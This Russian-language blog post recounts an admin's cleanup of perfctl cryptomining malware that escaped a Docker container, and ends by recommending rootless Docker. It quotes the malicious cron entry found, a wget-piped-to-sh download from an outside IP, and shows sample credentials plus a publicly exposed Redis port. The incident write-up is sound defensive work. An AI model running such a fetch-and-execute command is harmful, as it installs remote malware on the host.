Menu

Удаление вредоносного ПО perfctl

Даже не вспомню, в каком году я последний раз наблюдал заражённый сервер с Linux... но лет 10 уже не видел такого чуда. И вот, один из моих серверов оказался "больным" - и это в конце 2024 года! Стоило чуть-чуть ослабить контроль, и какая-то дрянь выломалась из контейнера Docker.

Среди процессов появляется perfctl, который забирает всё процессорное время и чуть больше 2 Гб ОЗУ. Как можно такое терпеть!?

С чем же мы столкнулись?

Вредоносное ПО Perfctl представляет собой сложную и скрытную угрозу для систем на базе Linux. Оно получило свое название от компонента, который скрытно добывает криптовалюту, и маскируется под легитимные системные процессы Linux. Perfctl использует более 20 000 известных ошибок конфигурации и уязвимостей, таких как CVE-2023-33246 в Apache RocketMQ и CVE-2021-4043 в Gpac, для проникновения в системы и установления постоянного доступа. Кроме того, вредоносное ПО perfctl может эксплуатировать уязвимости в Polkit, в частности, известную как CVE-2021-4034 или PwnKit. Эта уязвимость позволяет злоумышленникам повысить привилегии до уровня root, что является критическим для установления и поддержания контроля над скомпрометированной системой. После повышения привилегий, perfctl может внедрить майнер под названием perfcc, который используется для добычи криптовалюты.

После проникновения, Perfctl работает тихо, используя руткиты для сокрытия своего присутствия от операционной системы и административных инструментов. Он активируется только тогда, когда сервер бездействует, что затрудняет его обнаружение. Вредоносное ПО создает бэкдор, повышает привилегии и позволяет удаленно управлять зараженным сервером. Основные цели Perfctl — майнинг криптовалюты и прокси-джекинг, при котором скомпрометированные серверы используются как прокси-серверы для анонимизации трафика. Perfctl также способен оставаться на зараженной машине после перезагрузок или попыток удаления, копируя себя в различные места на диске и загружаясь раньше легитимных рабочих нагрузок. Для передачи управления и данных, Perfctl может использовать сокет Unix через сеть Tor, что делает его внешние команды трудно отслеживаемыми. Вредоносное ПО может подавлять сообщения об ошибках и блокировать конкурирующие вирусы, чтобы сохранять контроль над системой.

По некоторым оценкам, Perfctl заразил тысячи серверов, а потенциально уязвимых машин — миллионы. Различные модификации встречаются с 2021 года.

Вишенка на торте: ClamAV особо не помог. Более того, если на заражённый сервер поставить ClamAV, то вредоносное ПО совершенно спокойно начинает работать из-под пользователя clamav :)

Лечение

1. Скорая помощь

Сначала лечим симптомы, чтобы вообще можно было работать с сервером.

Скрипт, который бесконечно убивает процессы, использующие более 100% процессорного времени (будет идеально работать для 2xCPU).

#!/bin/bash

while true; do
# Получаем список процессов с использованием CPU
top -b -n 1 -o %CPU | awk 'NR>7 {if ($9 > 100) print $1, $9}' | while read pid cpu_usage; do
# Получаем имя процесса
process_name=$(ps -p $pid -o comm=)

# Выводим информацию о процессе и завершаем его
echo "Процесс с PID $pid ($process_name) использует $cpu_usage% CPU. Завершаем..."
kill -9 $pid
done
# Пауза на 2 секунды
sleep 2
done

Аналогичный скрипт, который удобно повесить на cron с вызовом каждую минуту.

#!/bin/bash

#while true; do
for i in {1..30}; do
# Получаем список процессов с использованием CPU
top -b -n 1 -o %CPU | awk 'NR>7 {if ($9 > 100) print $1, $9}' | while read pid cpu_usage; do
# Получаем имя процесса
process_name=$(ps -p $pid -o comm=)

# Выводим информацию о процессе и завершаем его
echo "Процесс с PID $pid ($process_name) использует $cpu_usage% CPU. Завершаем..."
kill -9 $pid
done
# Пауза на 2 секунды
sleep 2
done

2. Расследование

В результате расследования оказалось, что perfctl запускается из контейнера, затем вылезает на хост-машину, после запуска подчищает файл. Для запуска используются 2 директории:

/var/tmp/

/tmp

Если достаточно часто или изощрённо убивать процесс, то он начинает менять имя. Например: kdevtmpfsi.

Далее, на самом сервере никаких заданий обнаружено не было, однако раз в 1-10 секунд вредоносный процесс продолжал запускаться. Было обнаружено лишнее задание cron одного из контейнеров.

Команда:

docker exec 129978b585fb bash -c 'for user in $(cut -f1 -d: /etc/passwd); do echo $user; crontab -u $user -l; done'
docker exec 129978b585fb bash -c 'sudo crontab -r -u www-data'
docker exec --user root 129978b585fb bash -c 'for user in $(cut -f1 -d: /etc/passwd); do echo $user; crontab -u $user -l; done'
docker exec --user root 129978b585fb bash -c 'dpkg -l | grep -E cron'

Одна из строк вывода:

* * * * * wget -q -O - http://185.81.68.124/unk.sh | sh > /dev/null 2>&1

Удаляем лишнее задание.

Если есть возможность, удаляем пакет cron целиком из контейнера.

Интересно, что примерно на данном этапе в интернете советуют просто запретить выполнение скриптов в директориях /tmp и /var/tmp.

Ради прикола я попробовал, в результате за одну ночь вирус забил 20 Гб диска копиями себя :)

3. Верный путь

В итоге, после долгих исследований и экспериментов, только один путь привёл к победе. Был арендован новый сервер в формате "Docker":

Непосредственно служба Docker была запущена не из-под root.

Вне зависимости от конфигурации контейнеров, взлома или запуска вредоносного ПО не было обнаружено.

Сайт, ранее размещённый на физическом сервере под Centos, был перенесён в систему контейнеров Docker на машине с Ubuntu. Это позволило организовать инфраструктуру таким образом, чтобы каждый компонент сайта работал в собственном изолированном окружении, сохраняя при этом гибкость управления и возможность масштабирования отдельных частей системы.

В основе архитектуры используется Docker Compose , который описывает взаимодействие трёх основных компонентов: PHP-FPM , NGINX и Redis . Каждый из этих сервисов запускается в своём контейнере, что обеспечивает чёткую изоляцию процессов, упрощает управление зависимостями и позволяет точно воспроизводить среду выполнения на разных машинах.

Контейнер PHP-FPM отвечает за обработку PHP-скриптов. Он собирается из собственного Dockerfile, расположенного в директории php-fpm, и использует кастомные конфигурационные файлы php.ini и php-fpm.conf. Это позволяет тонко настраивать поведение PHP под нужды проекта. Также монтируются логи, чтобы можно было следить за состоянием приложения.

NGINX работает как обратный прокси-сервер, принимающий HTTP-запросы от пользователей и направляющий их в PHP-FPM для обработки. NGINX связан с контейнером PHP-FPM через внутреннюю сеть Docker, и между ними осуществляется обмен данными по протоколу FastCGI. Настройки NGINX хранятся в nginx.conf, также подключены SSL-сертификаты, что позволяет сайту работать по HTTPS. Логи NGINX пишутся в общую папку, доступную на хостовой машине.

Redis используется как кэширующее хранилище данных и брокер сообщений, что особенно важно для высоконагруженных систем. Для безопасности в Redis отключен стандартный пользователь, и создан новый пользователь с ограниченными правами, но достаточными для работы приложения. Пароль и имя пользователя берутся из файла .env, что делает конфигурацию более безопасной и гибкой. Конфигурация Redis загружается из redis.conf, где также прописаны параметры безопасности.

Все данные, такие как веб-файлы сайта, логи, конфигурации и сертификаты, смонтированы в контейнеры из хостовой системы. Это позволяет удобно управлять содержимым без необходимости изменения самих образов, а также сохраняет данные даже после перезапуска или обновления контейнеров. Некоторые тома дополнительно помечены специальными флагами (например, Z, uid, gid), чтобы корректно обрабатывать права доступа внутри контейнеров.

Для запуска всей системы достаточно выполнить команду docker-compose up -d, которая поднимет все три контейнера в нужном порядке, применяя зависимости и сетевые настройки. Порт 80 проброшен на NGINX, поэтому сайт будет доступен напрямую через браузер, без дополнительных проксей или перенаправлений.

Результирующая архитектура проекта:

1) dockerd-rootless-setuptool.sh
2) #cat docker-compose.yml
services:
# PHP
phpfpm:
extends:
file: php-fpm.yml
service: phpfpm
restart: always
network_mode: bridge
ports:
- '9000:9000'
links:
- redis:redis
volumes:
- ./html:/var/www/html
- ./addendum:/var/www/addendum
- ./log/php-fpm:/var/www/log/php-fpm

# NGINX
nginx:
depends_on:
- phpfpm
image: nginx
restart: always
network_mode: bridge
ports:
# - "8881:80"
- "80:80"
links:
- phpfpm:phpfpm
environment:
- TZ=Europe/Moscow
cap_add:
- NET_BIND_SERVICE
volumes:
- ./nginx/nginx.conf:/etc/nginx/nginx.conf
- ./nginx/certs:/etc/nginx/certs
- ./html:/var/www/html:rw,Z,uid=1001,gid=1001
- ./addendum:/var/www/addendum:rw,Z,uid=1001,gid=1001
- ./log/nginx:/var/log/nginx

# REDIS
redis:
image: redis:latest
environment:
- REDIS_PASSWORD=${REDIS_PASSWORD}
- REDIS_USER=${REDIS_USER}
- REDIS_USER_PASSWORD=${REDIS_USER_PASSWORD}
restart: always
network_mode: bridge
ports:
- "6379:6379"
volumes:
- ./redis.conf:/usr/local/etc/redis/redis.conf
command: ["redis-server", "/usr/local/etc/redis/redis.conf"]

3) # cat php-fpm.yml
services:
phpfpm:
build: php-fpm
volumes:
- ./php-fpm/php-fpm.conf:/usr/local/etc/php-fpm.conf
- ./php-fpm/php.ini:/usr/local/etc/php/php.ini
- ./log/php-fpm:/var/log/php-fpm

4) #cat .env

REDIS_PASSWORD=my_redis_password_1
REDIS_USER=user90
REDIS_USER_PASSWORD=user_password_2

5) redis.conf

# Disable the default user for security
user default off

# Add a custom user with a password
user user90 on >user_password_2 ~* +@all

Результаты и дискуссия

Анализ инцидента с вредоносным ПО Perfctl демонстрирует высокую степень изощрённости современных киберугроз, ориентированных на долгосрочное и скрытое проникновение в инфраструктуру Linux-серверов с последующим использованием ресурсов для майнинга криптовалюты и создания анонимизирующих прокси. Perfctl представляет собой гибридный тип зловреда, сочетающий элементы майнера, бэкдора, руткита и самозащищённого механизма персистенса, что делает его особенно опасным в условиях многопользовательских или контейнерных сред.

В данном случае был реализован многоуровневый механизм компрометации: использование известных уязвимостей в популярном ПО (CVE-2023-33246, CVE-2021-4043, CVE-2021-4034), эскалация привилегий до уровня root, внедрение скрытого процесса добычи криптовалюты под маской легитимного системного компонента, а также применение руткитов для маскировки активности. Особое внимание заслуживает способность Perfctl оставаться в системе после перезагрузки, динамически изменять имена своих процессов, блокировать конкурентные вредоносные модули и использовать Tor для связи с C2-инфраструктурой, что существенно затрудняет обнаружение и локализацию угрозы.

Особую сложность при анализе вызвало поведение Perfctl внутри контейнерной среды: он не только эксплуатировал уязвимости в самом контейнере, но и выходил за его пределы, заражая хостовую систему, используя временные директории /tmp и /var/tmp как площадку для размещения исполняемых файлов. При этом вредоносное ПО проявляло адаптивность — при попытках удаления или блокировки оно меняло тактику, включая переключение на другое имя процесса, например, kdevtmpfsi, а также активную защиту себя через автоматическое восстановление. Примечательно, что даже установка антивирусного ПО ClamAV не только не помогла в обнаружении, но и была использована злоумышленниками в своих целях — Perfctl начал работать от имени пользователя clamav, тем самым получив дополнительный уровень доверия и скрытности.

Попытки оперативного реагирования с помощью автоматического завершения высокоинтенсивных процессов показали ограниченную эффективность — хотя это позволяло временно снизить нагрузку на CPU, само наличие персистентного механизма запуска обеспечивало возобновление активности вредоноса. Более того, попытки ограничения исполнения в каталогах /tmp и /var/tmp оказались контрпродуктивными — Perfctl начал массово создавать свои копии, забивая диск.

Итоговое решение, заключающееся в переходе на rootless Docker, стало ключевым фактором успешного устранения угрозы. Запуск контейнерной среды без привилегий root существенно ограничивает возможности эскалации привилегий и выхода за границы контейнера, что делает невозможным реализацию классических методов персистенса и повышения прав. Это позволило создать более безопасную среду выполнения, где даже в случае компрометации контейнера, вредоносное ПО не может получить доступ к критическим ресурсам хостовой системы или сохранить своё присутствие после перезагрузки.

Таким образом, рассмотренный случай является ярким примером необходимости применения принципов минимальных привилегий, изоляции сред и строгого контроля за источниками автозапуска. Также он подчёркивает важность отказа от использования root-привилегий там, где они не являются строго необходимыми — особенно в контексте контейнерных решений. Rootless Docker продемонстрировал свою эффективность как в плане безопасности, так и в качестве практической защиты от продвинутых персистентных угроз, таких как Perfctl.

Выводы

TL;DR:
Не надо запускать docker от имени root :)

Рекомендации автора:
Во-первых, всегда следует минимизировать поверхность атаки, применяя принцип минимальных привилегий. Запуск контейнеров без root должен стать стандартной практикой. Во-вторых, необходимо регулярно проверять зависимости и образы на наличие известных уязвимостей, используя автоматизированные инструменты анализа. В-третьих, не стоит полагаться на антивирусы как единственный способ защиты — современные угрозы требуют системного подхода, включающего мониторинг поведения процессов, контроль автозапускаемых задач и использование hardened-конфигураций. Наконец, контейнерная безопасность — это не только сетевые политики и ограничения ресурсов, но и глубинное понимание того, как вредоносное ПО может использовать слабые места в самой архитектуре.

Итог один: безопасность — это не опция, а обязательный элемент проектирования любой современной IT-инфраструктуры.

Авторизуйтесь, чтобы получить возможность оставлять комментарии

Другие материалы в этой категории:

Go to top